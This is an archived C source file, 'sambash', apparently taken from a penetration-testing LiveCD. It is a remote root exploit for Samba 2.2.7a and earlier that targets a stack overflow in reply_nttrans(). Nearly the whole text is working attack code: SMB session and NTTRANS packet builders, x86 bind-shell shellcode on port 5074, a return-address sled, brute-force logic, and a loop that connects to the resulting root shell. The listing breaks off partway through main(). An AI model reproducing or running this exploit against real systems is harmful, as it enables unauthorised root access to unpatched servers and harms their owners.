home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / samba / sambash-release.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  25KB  |  745 lines

  1. /**
  2.  **   sambash -- samba <= 2.2.7a reply_nttrans() linux x86 remote root exploit by flatline@blackhat.nl
  3.  **
  4.  **   since we fully control a memcpy(), our options are endless here. i've chosen to go the stack route tho,
  5.  **   because any heap method would've required too much brute forcing or would've required the ugly use of targets.
  6.  **
  7.  **   the stack method still requires little brute forcing and obviously will not survive PaX, but it's efficient.
  8.  **   i'm using executable rets as a 'jmp sled' which jmp to the shellcode to help improve our brute forcing chances a bit.
  9.  **
  10.  **   shouts to (#)0dd, #!l33tsecurity and #!xpc.
  11.  **
  12.  **   many thanks to tcpdump which had to suffer the torture i put it through and often didn't survive (more to come?).
  13.  **
  14.  **   public/private, i don't give a shit.
  15.  **
  16.  **/
  17.  
  18. #include <sys/socket.h>
  19. #include <netinet/in.h>
  20. #include <arpa/inet.h>
  21. #include <netdb.h>
  22. #include <errno.h>
  23. #include <string.h>
  24. #include <stdio.h>
  25. #include <unistd.h>
  26. #include <stdlib.h>
  27. #include <ctype.h>
  28. #include <signal.h>
  29.  
  30. typedef unsigned char uint8;
  31. typedef unsigned short uint16;
  32. typedef unsigned long uint32;
  33.  
  34. /*    http://ubiqx.org/cifs/SMB.html, CIFS-TR-1p00_FINAL.pdf, smb_cifs_protocol.pdf, 
  35.     http://www.ubiqx.org/cifs/rfc-draft/rfc1001.html#s14, http://www.ubiqx.org/cifs/rfc-draft/rfc1002.html#s4.3.2 */
  36.  
  37. // XXX: lelijkheid: vermijd word padding door hier byte arrays van te maken.
  38. struct variable_data_header
  39. { uint8 wordcount, bytecount[2];
  40. };
  41.  
  42. struct nbt_session_header
  43. { uint8 type, flags, len[2];
  44. };
  45.  
  46. struct smb_base_header
  47. { uint8 protocol[4], command, errorclass, reserved, errorcode[2];
  48.   uint8 flags;
  49.   uint8 flags2[2], reserved2[12], tid[2], pid[2], uid[2], mid[2];
  50. };
  51.  
  52. struct negprot_reply_header
  53. { uint8 wordcount;
  54.   uint8 dialectindex[2];
  55.   uint8 securitymode;
  56.   uint16 maxmpxcount, maxvccount;
  57.   uint32 maxbufsize, maxrawsize, sessionid, capabilities, timelow, timehigh;
  58.   uint16 timezone;
  59.   uint8 keylen;
  60.   uint16 bytecount;
  61. };
  62.  
  63. // omdat we ipasswdlen en passwdlen meegeven is wordcount altijd 13 voor deze header.
  64. struct sesssetupx_request_header
  65. { uint8 wordcount, command, reserved;
  66.   uint8 offset[2], maxbufsize[2], maxmpxcount[2], vcnumber[2];
  67.   uint8 sessionid[4];
  68.   uint8 ipasswdlen[2], passwdlen[2];
  69.   uint8 reserved2[4], capabilities[4];
  70. };
  71.  
  72. struct sesssetupx_reply_header
  73. { uint8 wordcount, xcommand, xreserved, xoffset[2], action[2], bytecount[2];
  74.   // wat volgt: char nativeos[], nativelanman[], primarydomain[];
  75. };
  76.  
  77. struct tconx_request_header
  78. { uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];
  79.   // uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[];
  80. };
  81.  
  82. struct tconx_reply_header
  83. { uint8 wordcount, xcommand, xreserved, xoffset[2], supportbits[2], bytecount[2];
  84.   // wat volgt: char service[], char nativefilesystem[];
  85. };
  86.  
  87. // verschilt van trans en trans2 door de 32 bits wijde header fields.
  88. struct nttrans_primary_request_header
  89. { uint8 wordcount, maxsetupcount, flags[2], totalparamcount[4], totaldatacount[4], maxparamcount[4], maxdatacount[4];
  90.   uint8 paramcount[4], paramoffset[4], datacount[4], dataoffset[4], setupcount, function[2], bytecount[2];
  91. };
  92.  
  93. struct nttrans_secondary_request_header
  94. { uint8 pad[4], totalparamcount[4], totaldatacount[4], paramcount[4], paramoffset[4], paramdisplace[4],
  95.     datacount[4], dataoffset[4], datadisplace[4];
  96. };
  97.  
  98. /* struct trans2_request_header
  99. { uint8 wordcount;
  100.   int totalparamcount, totaldatacount, maxparamcount, maxdatacount;
  101.   uint8 maxsetupcount[2], flags[2];
  102.   uint8 timeout[4];
  103.   int reserved2, paramcount, paramoffset, datacount, dataoffset, fid;
  104.   uint8 setupcount[2], bytecount[2];
  105. }; */
  106.  
  107. struct trans2_reply_header
  108. { uint8 wordcount;
  109.   uint16 totalparamcount, totaldatacount, reserved, paramcount, paramoffset, 
  110.     paramdisplacement, datacount, dataoffset, datadisplacement;
  111.   uint8 setupcount, reserved2;
  112.   uint16 bytecount;
  113. };
  114.  
  115. #define SMBD_PORT    139
  116. #define SHELLCODE_PORT    5074
  117.  
  118. #define SMB_NEGPROT        0x72
  119. #define SMB_SESSSETUPX        0x73
  120. #define SMB_TCONX        0x75
  121. #define SMB_TRANS2        0x32
  122. #define SMB_NTTRANS1        0xA0
  123. #define SMB_NTTRANS2        0xA1
  124. #define SMB_NTTRANSCREATE    0x01
  125. #define SMB_TRANS2OPEN        0x00
  126. #define SMB_SESSIONREQ        0x81
  127. #define SMB_SESSION        0x00
  128.  
  129. #define STACKBOTTOM        0xbfffffff
  130. #define STACKBASE        0xbfffd000
  131. #define TOTALCOUNT        ((int)(STACKBOTTOM - STACKBASE))
  132. #define BRUTESTEP        5120
  133.  
  134. extern char *optarg;
  135. extern int optind, errno, h_errno;
  136.  
  137. uint16 tid, pid, uid;
  138. uint32 sessionid, PARAMBASE = 0x81c0000;
  139. char *tconx_servername;
  140. int userbreak = 0;
  141.  
  142. char shellcode[] = "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52" \
  143.   "\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd" \
  144.   "\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43" \
  145.   "\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52" \
  146.   "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"
  147.   "\xcd\x80";
  148.  
  149. // ach, 't kan ermee door.
  150. char *netbios_encode_name(char *name, int type)
  151. { char plainname[16], c, *encoded, *ptr;
  152.   int i, len = strlen(name);
  153.   if ((encoded = malloc(34)) == NULL)
  154.   { fprintf(stderr, "malloc() failed\n");
  155.     exit(-1);
  156.   }
  157.   ptr = encoded;
  158.   strncpy(plainname, name, 15);
  159.   *ptr++ = 0x20;
  160.   for (i = 0; i < 16; i++)
  161.   { if (i == 15) c = type;
  162.     else 
  163.     { if (i < len) c = toupper(plainname[i]);
  164.       else c = 0x20;
  165.     }
  166.     *ptr++ = (((c >> 4) & 0xf) + 0x41);
  167.     *ptr++ = ((c & 0xf) + 0x41);
  168.   }
  169.   *ptr = '\0';
  170.   return encoded;
  171. }
  172.  
  173. void construct_nbt_session_header(char *ptr, uint8 type, uint8 flags, uint32 len)
  174. { struct nbt_session_header *nbt_hdr = (struct nbt_session_header *)ptr;
  175.   uint16 nlen;
  176.  
  177. // geen idee of dit de juiste manier is, maar 't lijkt wel te werken ..
  178.   if (len > 65535) nlen = 65535;
  179.   else nlen = htons(len);
  180.  
  181.   memset((void *)nbt_hdr, '\0', sizeof (struct nbt_session_header));
  182.   
  183.   nbt_hdr->type = type;
  184.   nbt_hdr->flags = flags;
  185.   memcpy(&nbt_hdr->len, &nlen, sizeof (uint16));
  186. }
  187.  
  188. // caller zorgt voor juiste waarde van ptr.
  189. void construct_smb_base_header(char *ptr, uint8 command, uint8 flags, uint16 flags2, uint16 tid, uint16 pid, 
  190.   uint16 uid, uint16 mid)
  191. { struct smb_base_header *base_hdr = (struct smb_base_header *)ptr;
  192.  
  193.   memset(base_hdr, '\0', sizeof (struct smb_base_header));
  194.  
  195.   memcpy(base_hdr->protocol, "\xffSMB", 4);
  196.  
  197.   base_hdr->command = command;
  198.   base_hdr->flags = flags;
  199.  
  200.   memcpy(&base_hdr->flags2, &flags2, sizeof (uint16));
  201.   memcpy(&base_hdr->tid, &tid, sizeof (uint16));
  202.   memcpy(&base_hdr->pid, &pid, sizeof (uint16));
  203.   memcpy(&base_hdr->uid, &uid, sizeof (uint16));
  204.   memcpy(base_hdr->mid, &mid, sizeof (uint16));
  205. }
  206.  
  207. void construct_sesssetupx_header(char *ptr)
  208. { struct sesssetupx_request_header *sx_hdr = (struct sesssetupx_request_header *)ptr;
  209.   uint16 maxbufsize = 0xffff, maxmpxcount = 2, vcnumber = 31257, pwdlen = 0;
  210.   uint32 capabilities = 0x50;
  211.  
  212.   memset(sx_hdr, '\0', sizeof (struct sesssetupx_request_header));
  213.  
  214.   sx_hdr->wordcount = 13;
  215.   sx_hdr->command = 0xff;
  216.   memcpy(&sx_hdr->maxbufsize, &maxbufsize, sizeof (uint16));
  217.   memcpy(&sx_hdr->vcnumber, &vcnumber, sizeof (uint16));
  218.   memcpy(&sx_hdr->maxmpxcount, &maxmpxcount, sizeof (uint16));
  219.   memcpy(&sx_hdr->sessionid, &sessionid, sizeof (uint32));
  220.   memcpy(&sx_hdr->ipasswdlen, &pwdlen, sizeof (uint16));
  221.   memcpy(&sx_hdr->passwdlen, &pwdlen, sizeof (uint16));
  222.   memcpy(&sx_hdr->capabilities, &capabilities, sizeof (uint32));
  223. }
  224.  
  225. /*
  226. struct tconx_request_header
  227. { uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];
  228.   -- uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[];
  229. }; */
  230. void construct_tconx_header(char *ptr)
  231. { struct tconx_request_header *tx_hdr = (struct tconx_request_header *)ptr;
  232.   uint16 passwdlen = 1, bytecount;
  233.   char *data;
  234.  
  235.   memset(tx_hdr, '\0', sizeof (struct tconx_request_header));
  236.  
  237.   bytecount = strlen(tconx_servername) + 15;  
  238.  
  239.   if ((data = malloc(bytecount)) == NULL)
  240.   { fprintf(stderr, "malloc() failed, aborting!\n");
  241.     exit(-1);
  242.   }
  243.   memcpy(data, "\x00\x5c\x5c", 3);
  244.   memcpy(data + 3, tconx_servername, strlen(tconx_servername));
  245.   memcpy(data + 3 + strlen(tconx_servername), "\x5cIPC\x24\x00\x3f\x3f\x3f\x3f\x3f\x00", 12);
  246.  
  247.   tx_hdr->wordcount = 4;
  248.   tx_hdr->xcommand = 0xff;
  249.  
  250.   memcpy(&tx_hdr->passwdlen, &passwdlen, sizeof (uint16));
  251.   memcpy(&tx_hdr->bytecount, &bytecount, sizeof (uint16));
  252.  
  253. // zorg ervoor dat er genoeg ruimte in het packet is om dit erachter te kunnen plakken.
  254.   memcpy(ptr + sizeof (struct tconx_request_header), data, bytecount);
  255. }
  256.  
  257. // session request versturen.
  258. void nbt_session_request(int fd, char *clientname, char *servername)
  259. { char *cn, *sn;
  260.   char packet[sizeof (struct nbt_session_header) + (34 * 2)];
  261.  
  262.   construct_nbt_session_header(packet, SMB_SESSIONREQ, 0, sizeof (packet) - sizeof (struct nbt_session_header));
  263.  
  264.   tconx_servername = servername;
  265.  
  266.   sn = netbios_encode_name(servername, 0x20);
  267.   cn = netbios_encode_name(clientname, 0x00);
  268.  
  269.   memcpy(packet + sizeof (struct nbt_session_header), sn, 34);
  270.   memcpy(packet + (sizeof (struct nbt_session_header) + 34), cn, 34);
  271.  
  272.   if (write(fd, packet, sizeof (packet)) == -1)
  273.   { close(fd);
  274.     fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
  275.     exit(-errno);
  276.   }
  277.  
  278.   free(cn);
  279.   free(sn);
  280. }
  281.  
  282. // netjes verwerken, zoals het hoort.
  283. void process_nbt_session_reply(int fd)
  284. { struct nbt_session_header nbt_hdr;
  285.   char *errormsg;
  286.   uint8 errorcode;
  287.   int size, len = 0;
  288.  
  289.   if ((size = read(fd, &nbt_hdr, sizeof (nbt_hdr))) == -1)
  290.   { close(fd);
  291.     fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
  292.     exit(-errno);
  293.   }
  294.   if (size != sizeof (nbt_hdr))
  295.   { close(fd);
  296.     fprintf(stderr, "read() a broken packet, aborting.\n"); 
  297.     exit(-1);
  298.   }
  299.   memcpy(&len, &nbt_hdr.len, sizeof (uint16));
  300.  
  301.   if (len)
  302.   { read(fd, (void *)&errorcode, 1); 
  303.     close(fd);
  304.     switch (errorcode)
  305.     { case 0x80 : errormsg = "Not listening on called name"; break;
  306.       case 0x81 : errormsg = "Not listening for calling name"; break;
  307.       case 0x82 : errormsg = "Called name not present"; break;
  308.       case 0x83 : errormsg = "Called name present, but insufficient resources"; break;
  309.       case 0x8f : errormsg = "Unspecified error"; break;
  310.       default    : errormsg = "Unspecified error (unknown error code received!)"; break;
  311.     }
  312.     fprintf(stderr, "session request denied, reason: '%s' (code %i)\n", errormsg, errorcode);
  313.     exit(-1);
  314.   }
  315.   printf("session request granted\n");
  316. }
  317.  
  318. void negprot_request(int fd)
  319. { struct variable_data_header data;
  320.   char dialects[] = "\x2PC NETWORK PROGRAM 1.0\x0\x2MICROSOFT NETWORKS 1.03\x0\x2MICROSOFT NETWORKS 3.0\x0\x2LANMAN1.0\x0" \
  321.     "\x2LM1.2X002\x0\x2Samba\x0\x2NT LANMAN 1.0\x0\x2NT LM 0.12\x0\x2""FLATLINE'S KWAADWAAR";  
  322.   char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data) + sizeof (dialects)];
  323.   int dlen = htons(sizeof (dialects));
  324.  
  325.   memset(&data, '\0', sizeof (data));
  326.   construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
  327.   pid = getpid();
  328.   construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NEGPROT, 8, 1, 0, pid, 0, 1);
  329.  
  330.   memcpy(&data.bytecount, &dlen, sizeof (uint16));
  331.  
  332.   memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)), &data, sizeof (data));
  333.   memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data)), 
  334.     dialects, sizeof (dialects));
  335.  
  336.   if (write(fd, packet, sizeof (packet)) == -1)
  337.   { close(fd);
  338.     fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
  339.     exit(-errno);
  340.   }
  341. }
  342.  
  343. void process_negprot_reply(int fd)
  344. { struct nbt_session_header *nbt_hdr;
  345.   struct smb_base_header *base_hdr;
  346.   struct negprot_reply_header *np_reply_hdr;
  347.   char packet[1024];
  348.   int size;
  349.   uint16 pid_reply;
  350.  
  351.   nbt_hdr = (struct nbt_session_header *)packet;
  352.   base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
  353.   np_reply_hdr = (struct negprot_reply_header *)(packet + (sizeof (struct nbt_session_header) + 
  354.     sizeof (struct smb_base_header)));
  355.  
  356.   if ((size = read(fd, packet, sizeof (packet))) == -1)
  357.   { close(fd);
  358.     fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
  359.     exit(-errno);
  360.   }
  361.  
  362.   // bekijk het antwoord even vluchtig.
  363.   memcpy(&pid_reply, &base_hdr->pid, sizeof (uint16));
  364.   memcpy(&sessionid, &np_reply_hdr->sessionid, sizeof (uint32));
  365.   if (base_hdr->command != SMB_NEGPROT || np_reply_hdr->wordcount != 17 || pid_reply != pid)
  366.   { close(fd);
  367.     fprintf(stderr, "protocol negotiation failed\n");
  368.     exit(-1);
  369.   }
  370.  
  371.   printf("protocol negotiation complete\n");
  372. }
  373.  
  374. void sesssetupx_request(int fd)
  375. { uint8 data[] = "\x12\x0\x0\x0\x55\x6e\x69\x78\x00\x53\x61\x6d\x62\x61";
  376.   char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + 
  377.     sizeof (struct sesssetupx_request_header) + sizeof (data)];
  378.   int size;
  379.  
  380.   construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
  381.   construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_SESSSETUPX, 8, 1, 0, pid, 0, 1);
  382.   construct_sesssetupx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));
  383.   memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + 
  384.     sizeof (struct sesssetupx_request_header), &data, sizeof (data));
  385.  
  386.   if ((size = write(fd, packet, sizeof (packet))) == -1)
  387.   { close(fd);
  388.     fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
  389.     exit(-errno);
  390.   }
  391.   if (size != sizeof (packet))
  392.   { close(fd);
  393.     fprintf(stderr, "couldn't write entire packet, aborting!\n");
  394.     exit(-1);
  395.   }
  396. }
  397.  
  398. void process_sesssetupx_reply(int fd)
  399. { struct nbt_session_header *nbt_hdr;
  400.   struct smb_base_header *base_hdr;
  401.   struct sesssetupx_reply_header *sx_hdr;
  402.   char packet[1024];
  403.   int size, len;
  404.  
  405. // lees het packet
  406.   if ((size = read(fd, packet, sizeof (packet))) == -1)
  407.   { close(fd);
  408.     fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
  409.     exit(-errno);
  410.   }
  411.  
  412.   nbt_hdr = (struct nbt_session_header *)packet;
  413.   base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
  414.   sx_hdr = (struct sesssetupx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));
  415.  
  416.   memcpy(&len, &nbt_hdr->len, sizeof (uint16));
  417.   memcpy(&uid, &base_hdr->uid, sizeof (uint16));
  418.  
  419. // even een vluchtige check
  420.   if (sx_hdr->xcommand != 0xff && sx_hdr->wordcount != 3)
  421.   { close(fd);
  422.     fprintf(stderr, "session setup failed\n");
  423.     exit(-1);
  424.   }
  425.  
  426.   printf("session setup complete, got assigned uid %i\n", uid);
  427. }
  428.  
  429. void tconx_request(int fd)
  430. { // geen fixed size buffer omdat we met dynamische data te maken hebben (variabele servernaam)
  431.   char *packet;
  432.   int size, pktsize = sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +
  433.     sizeof (struct tconx_request_header) + strlen(tconx_servername) + 15;
  434.  
  435.   if ((packet = malloc(pktsize)) == NULL)
  436.   { close(fd);
  437.     fprintf(stderr, "malloc() failed, aborting!\n");
  438.     exit(-1);
  439.   }
  440.  
  441.   construct_nbt_session_header(packet, SMB_SESSION, 0, pktsize - sizeof (struct nbt_session_header));
  442.   construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_TCONX, 8, 1, 0, pid, uid, 1);
  443.   construct_tconx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));
  444.  
  445.   if ((size = write(fd, packet, pktsize)) == -1)
  446.   { close(fd);
  447.     fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
  448.     exit(-errno);
  449.   }
  450.  
  451.   free(packet);
  452.  
  453.   if (size != pktsize)
  454.   { close(fd);
  455.     fprintf(stderr, "couldn't write entire packet, aborting!\n");
  456.     exit(-1);
  457.   }  
  458. }
  459.  
  460. void process_tconx_reply(int fd)
  461. { struct nbt_session_header *nbt_hdr;
  462.   struct smb_base_header *base_hdr;
  463.   struct tconx_reply_header *tx_hdr;
  464.   char packet[1024];
  465.   int size, bytecount;
  466.     
  467. // lees het packet
  468.   if ((size = read(fd, packet, sizeof (packet))) == -1)
  469.   { close(fd);
  470.     fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
  471.     exit(-errno);
  472.   }
  473.  
  474.   nbt_hdr = (struct nbt_session_header *)packet;
  475.   base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));
  476.   tx_hdr = (struct tconx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));
  477.  
  478.   memcpy(&tid, &base_hdr->tid, sizeof (uint16));
  479.   memcpy(&bytecount, &tx_hdr->bytecount, sizeof (uint16));
  480.  
  481.   printf("tree connect complete, got assigned tid %i\n", tid);
  482. }
  483.  
  484. void nttrans_primary_request(int fd)
  485. { char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + 
  486.     sizeof (struct nttrans_primary_request_header)];
  487.   struct nttrans_primary_request_header nt_hdr;
  488.  
  489.   int size, function = SMB_NTTRANSCREATE, totalparamcount = TOTALCOUNT, totaldatacount = 0;
  490.   uint8 setupcount = 0;
  491.  
  492.   memset(&nt_hdr, '\0', sizeof (nt_hdr));
  493.  
  494.   construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
  495.   construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NTTRANS1, 8, 1, tid, pid, uid, 1);
  496.  
  497.   nt_hdr.wordcount = 19 + setupcount;
  498.   memcpy(&nt_hdr.function, &function, sizeof (uint16));
  499.  
  500.   memcpy(&nt_hdr.totalparamcount, &totalparamcount, sizeof (uint32));
  501.   memcpy(&nt_hdr.totaldatacount, &totaldatacount, sizeof (uint32));
  502.  
  503.   memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header), &nt_hdr, sizeof (nt_hdr));
  504.  
  505.   if ((size = write(fd, packet, sizeof (packet))) == -1)
  506.   { close(fd);
  507.     fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
  508.     exit(-errno);
  509.   }
  510.   if (size != sizeof (packet))
  511.   { close(fd);
  512.     fprintf(stderr, "couldn't write entire packet, aborting!\n");
  513.     exit(-1);
  514.   }  
  515. }
  516.  
  517. // hier gaat het gebeuren.
  518. /* 
  519. struct nttrans_secondary_request_header
  520. { uint8 pad[3], totalparamcount[4], totaldatacount[4], paramcount[4], paramoffset[4], paramdisplace[4],
  521.     datacount[4], dataoffset[4], datadisplace[4];
  522. }; */
  523. void nttrans_secondary_request(int fd)
  524. { char retbuf[TOTALCOUNT], packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +
  525.     sizeof (struct nttrans_secondary_request_header) + TOTALCOUNT];
  526.   struct nttrans_secondary_request_header nt_hdr;
  527.   unsigned long retaddr, jmptocode = 0x9090a1eb; // jmptocode = 0x90909ceb;
  528.   int i;
  529.  
  530.   int size, totalparamcount = TOTALCOUNT, totaldatacount = 0,   
  531.     paramcount = TOTALCOUNT, datacount = 0, paramdisplace = STACKBASE - PARAMBASE,
  532.     datadisplace = 0, paramoffset = 68, dataoffset = 0;
  533.  
  534.   memset(&nt_hdr, '\0', sizeof (nt_hdr));
  535.   retaddr = 0xbffff6eb;
  536.   for (i = 0; i < TOTALCOUNT; i += 4) 
  537.   { if (i == 0x100)
  538.     { memcpy(retbuf + i, &jmptocode, 4);
  539.     }
  540.     else memcpy(retbuf + i, &retaddr, 4);
  541.   }
  542.  
  543. //  memset(shellcode, 0xCC, sizeof (shellcode));
  544.   memcpy(retbuf + 0x100 - sizeof (shellcode), shellcode, sizeof (shellcode));
  545.  
  546.   printf("sizeof packet: %i, parambase: 0x%08lx\n", sizeof (packet), PARAMBASE);
  547.  
  548.   construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));
  549.   construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NTTRANS2, 8, 1, tid, pid, uid, 1);
  550.   
  551.   memcpy(&nt_hdr.totalparamcount, &totalparamcount, sizeof (uint32));
  552.   memcpy(&nt_hdr.totaldatacount, &totaldatacount, sizeof (uint32));
  553.   memcpy(&nt_hdr.paramcount, ¶mcount, sizeof (uint32));
  554.   memcpy(&nt_hdr.datacount, &datacount, sizeof (uint32));
  555.   memcpy(&nt_hdr.paramdisplace, ¶mdisplace, sizeof (uint32));
  556.   memcpy(&nt_hdr.datadisplace, &datadisplace, sizeof (uint32));
  557.   memcpy(&nt_hdr.paramoffset, ¶moffset, sizeof (uint32));
  558.   memcpy(&nt_hdr.dataoffset, &dataoffset, sizeof (uint32));
  559.    
  560.   memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header), &nt_hdr, sizeof (nt_hdr));
  561.   memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (nt_hdr), retbuf, sizeof (retbuf));
  562.  
  563.   usleep(5000);
  564.   
  565.   if ((size = write(fd, packet, sizeof (packet))) == -1)
  566.   { close(fd);  
  567.     fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno);
  568.     exit(-errno);
  569.   }
  570.   if (size != sizeof (packet))
  571.   { close(fd);
  572.     fprintf(stderr, "couldn't write entire packet, aborting!\n");
  573.     exit(-1);
  574.   }
  575.   fprintf(stderr, "secondary nttrans packet sent!\n");
  576. }
  577.  
  578. // voor alle idioten onder ons.
  579. void usage(char *name)
  580. { printf("\nusage: %s -h hostname [-p port] -t target [-l]\n\n-h\tspecify target hostname\n-p\tspecify target " \
  581.    "port (defaults to 139)\n-t\tspecify target's magic numbers\n-l\tshow list of targets\n\n", name);
  582. }
  583.  
  584. void userbreak_handler(int x)
  585. { userbreak = 1;
  586. }
  587.  
  588. int main(int argc, char **argv)
  589. { int fd, port = -1, opt, readlen;
  590.   unsigned long target_ip;
  591.   struct sockaddr_in s_in;
  592.   struct hostent *he;
  593.   char *host = NULL, *me, readbuf[4096];
  594.   fd_set readfds;
  595.  
  596.   if (argc >= 1) 
  597.   { me = argv[0];
  598.     if (strchr(me, '/') != NULL) me = strrchr(me, '/') + 1;
  599.   }
  600.   else me = "sambash";
  601.  
  602.   fprintf(stderr, "\nsambash -- samba <= 2.2.7a reply_nttrans() linux x86 remote root exploit by flatline@blackhat.nl\n\n");
  603.  
  604.   while ((opt = getopt(argc, argv, "h:p:b:")) != EOF)
  605.   { switch (opt)
  606.     { case 'h': { if (!inet_aton(optarg, (struct in_addr *)&target_ip))
  607.           { if ((he = gethostbyname(optarg)) == NULL)
  608.             { fprintf(stderr, "unable to resolve host '%s', reason: %s (code %i)\n", optarg, hstrerror(h_errno), h_errno);
  609.               exit(-h_errno);
  610.             }
  611.             memcpy((void *)&target_ip, he->h_addr_list[0], he->h_length);
  612.               }
  613.           host = optarg;
  614.         } break;
  615.       case 'p': { port = atoi(optarg);
  616.               if (port < 0 || port > 65535)
  617.           { fprintf(stderr, "invalid port specified.\n");
  618.             exit(-1);
  619.           }
  620.          } break;
  621.       case 'b': PARAMBASE += atoi(optarg); break;
  622.       default : { usage(me);
  623.           exit(0);
  624.         } break;
  625.     }
  626.   }
  627.  
  628.   if (host == NULL)
  629.   { fprintf(stderr, "no hostname specified.\n");
  630.     usage(me);
  631.     exit(-1);
  632.   }
  633.   if (port == -1) port = SMBD_PORT;
  634.  
  635.   signal(SIGINT, userbreak_handler);
  636.  
  637.   while (!userbreak)
  638.   { memset(&s_in, 0, sizeof (s_in));
  639.     s_in.sin_family = AF_INET;
  640.     s_in.sin_port = htons(port);
  641.     s_in.sin_addr.s_addr = target_ip;
  642.  
  643.     if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  644.     { fprintf(stderr, "socket() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
  645.       exit(-errno);
  646.     }
  647.  
  648.     if (connect(fd, (struct sockaddr *)&s_in, sizeof (s_in)) == -1)
  649.     { fprintf(stderr, "connect() to host '%s:%i' failed, reason: '%s' (code %i)\n", host, port, strerror(errno), errno); 
  650.       exit(-errno);
  651.     }
  652.  
  653.     // register name
  654.     nbt_session_request(fd, "BOSSA", "SAMBA");
  655.     process_nbt_session_reply(fd);
  656.  
  657.     // protocol negotiation
  658.     negprot_request(fd);
  659.     process_negprot_reply(fd);
  660.  
  661.     // session setup
  662.     sesssetupx_request(fd);
  663.     process_sesssetupx_reply(fd);
  664.  
  665.     // tree connection setup
  666.     tconx_request(fd);
  667.     process_tconx_reply(fd);
  668.  
  669.     // nttrans packet sturen
  670.     nttrans_primary_request(fd);
  671.  
  672.     nttrans_secondary_request(fd);
  673.  
  674.     usleep(750000);
  675.  
  676.     if (close(fd) == -1)
  677.     { fprintf(stderr, "close() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
  678.       exit(-errno);
  679.     }
  680.  
  681.     memset(&s_in, 0, sizeof (s_in));
  682.     s_in.sin_family = AF_INET;
  683.     s_in.sin_port = htons(SHELLCODE_PORT);
  684.     s_in.sin_addr.s_addr = target_ip;
  685.  
  686.     if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  687.     { fprintf(stderr, "socket() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
  688.       exit(-errno);
  689.     }
  690.  
  691.     if (connect(fd, (struct sockaddr *)&s_in, sizeof (s_in)) == -1)
  692.     { if (close(fd) == -1)
  693.       { fprintf(stderr, "close() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 
  694.         exit(-errno);
  695.       }
  696.       PARAMBASE += BRUTESTEP;
  697.       continue;
  698.     }
  699.     
  700.     printf("\n\n** veel plezier.\n\n");
  701.     
  702.     FD_ZERO(&readfds);
  703.     while (!userbreak)
  704.     { FD_SET(fileno(stdin), &readfds);
  705.       FD_SET(fd, &readfds);
  706.     
  707.       if (select(fd + 1, &readfds, NULL, NULL, NULL) < 0)
